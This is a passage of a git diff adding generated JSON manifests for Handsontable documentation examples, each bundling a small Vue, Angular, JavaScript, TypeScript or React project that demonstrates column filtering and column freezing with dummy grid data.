    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleSearchMode\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleSearchMode.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSearchMode","exampleTitle":"Enable filtering within already filtered results","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleServerSideFilter.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleServerSideFilter.vue.json new file mode 100644 index 00000000..ad94244f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleServerSideFilter.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Server-side filtering · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleServerSideFilter\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleServerSideFilter.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleShowFilterItemsOnly.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleShowFilterItemsOnly.vue.json new file mode 100644 index 00000000..92c91851 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleShowFilterItemsOnly.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Enable filtering · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleShowFilterItemsOnly\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleShowFilterItemsOnly.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleShowFilterItemsOnly","exampleTitle":"Enable filtering","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__angular__example1.ts.json new file mode 100644 index 00000000..63408ce7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column freezing · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData= new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\n readonly hotSettings: GridSettings = {\n colWidths: 100,\n width: '100%',\n height: 320,\n rowHeaders: true,\n colHeaders: true,\n fixedColumnsStart: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-freezing/angular/example1.ts","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-freezing","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__angular__example2.ts.json new file mode 100644 index 00000000..64365750 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column freezing · User-triggered freeze · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\n readonly hotSettings: GridSettings = {\n colWidths: 100,\n width: '100%',\n height: 320,\n rowHeaders: true,\n colHeaders: true,\n fixedColumnsStart: 2,\n contextMenu: true,\n manualColumnFreeze: true,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-freezing/angular/example2.ts","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example2","exampleTitle":"User-triggered freeze","docPermalink":"/column-freezing","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example1.js.json new file mode 100644 index 00000000..6bd6d970 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column freezing · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data,\n colWidths: 100,\n width: '100%',\n height: 320,\n rowHeaders: true,\n colHeaders: true,\n fixedColumnsStart: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-freezing/javascript/example1.js","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-freezing","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example1.ts.json new file mode 100644 index 00000000..12a57194 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column freezing · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data: string[][] = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data,\n colWidths: 100,\n width: '100%',\n height: 320,\n rowHeaders: true,\n colHeaders: true,\n fixedColumnsStart: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-freezing/javascript/example1.ts","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-freezing","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example2.js.json new file mode 100644 index 00000000..7faafe5a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column freezing · User-triggered freeze · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data,\n colWidths: 100,\n width: '100%',\n height: 320,\n rowHeaders: true,\n colHeaders: true,\n fixedColumnsStart: 2,\n contextMenu: true,\n manualColumnFreeze: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-freezing/javascript/example2.js","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example2","exampleTitle":"User-triggered freeze","docPermalink":"/column-freezing","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example2.ts.json new file mode 100644 index 00000000..4b90e726 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column freezing · User-triggered freeze · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data: string[][] = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data,\n colWidths: 100,\n width: '100%',\n height: 320,\n rowHeaders: true,\n colHeaders: true,\n fixedColumnsStart: 2,\n contextMenu: true,\n manualColumnFreeze: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-freezing/javascript/example2.ts","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example2","exampleTitle":"User-triggered freeze","docPermalink":"/column-freezing","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__react__example1.tsx.json new file mode 100644 index 00000000..74e9ca54 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column freezing · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-freezing/react/example1.tsx","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-freezing","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__react__example2.tsx.json new file mode 100644 index 00000000..7eb9bdf3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column freezing · User-triggered freeze · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
